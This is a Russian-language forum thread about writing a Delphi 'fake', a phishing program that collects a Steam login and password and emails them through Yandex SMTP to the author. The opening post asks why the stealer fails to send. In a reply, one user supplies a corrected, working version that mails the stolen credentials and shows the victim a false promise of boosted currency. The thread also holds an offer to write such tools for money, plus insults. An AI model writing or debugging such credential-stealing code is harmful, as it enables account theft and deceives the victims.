[Delphi7]

id46814

procedure TForm1.Button1Click(Sender: TObject);
begin
 IdMessage1.Body.Text:='Логин: '+Edit1.Text+' Пароль: '+Edit2.Text; 
 IdSMTP1.Username:='[email protected]';
 IdSMTP1.Password:='тут пароль от почты';
 IdMessage1.From.Text:=IdSMTP1.Username+ IdSMTP1.Password; 
 IdMessage1.Recipients.Add.Text:='[email protected]'; 
 IdMessage1.Subject:='steam'; 
 IdSMTP1.AuthenticationType := atLogin; 
 IdSMTP1.Host:='smtp.yandex.ru'; 
 IdSMTP1.Connect(); 
 Button1.Enabled := False; 
 if IdSMTP1.Connected then 
 begin
 IdSMTP1.Send(IdMessage1); 
 IdSMTP1.Disconnect; 
 end;
end;

Пишу в делфи не так давно(пока что только фейки).Решил написать скрипт вот таким образом, но что то не получается.Где ошибка?

Poltergeist

Я Delphi знаю, но не помогу...
Не*** фейки писать
и отправка на почту старый век...
За $ могу написать ***атую прогу

Pypsik

где именно выдаёт ошибку?

Добавлено через 01:01 мин.
сука еблан, ты мне + поставил, *** я тебе помогу, хотя желание было, иди в ***, там ошибка видно не вооружённым глазом, еблан

id46814

Ошибки нету.В самом коде проблема, ибо ни на 1 емейле нету ни отравленых писем, ни принятых.Думал пароль от почты не тот.Сделал на обоих одинаковые, но все равно не пашет

Добавлено через 00:25 мин.
Есть еще 2 аккаунта, могу перекрыть 2 минусами свой плюс

Добавлено через 02:07 мин.
Скорее всего ошибка вот тут


IdMessage1.From.Text:=IdSMTP1.Username+ IdSMTP1.Password;

Добавлено через 04:05 мин.
Ладно, все ясно с етим форумом.Модер, тему офф.Я на другие интернет форумы

serwa

if Edit1.text='' then
begin
showmessage('Вы не ввели логин');
end else begin
if Edit2.text='' then
begin
showmessage('Вы не ввели пароль');
end else begin
idmessage1.Recipients.emailaddresses:='получатель';
idmessage1.From.Text:='отправитель';
idmessage1.body.text:=edit1.text+':'+edit2.Text;
idmessage1.subject:='Лог пароль';
idmessage1.ContentType:='text/plain';
/////
idSmtp1.username:='отправитель';
idSmtp1.Password:='Пароль отправителя';
idsmtp1.Host:='smtp.yandex.ru';
idsmtp1.Port:=25; 
idsmtp1.Connect(60000); 
idSmtp1.Send(IdMessage1);
idSmtp1.Disconnect; 
showmessage('Готово! Вы получите накрученную валюту в течении 3-х часов! ');
end;
end;

Сделай так,тока тут для яндекса

id46814

Спс.+ в репу!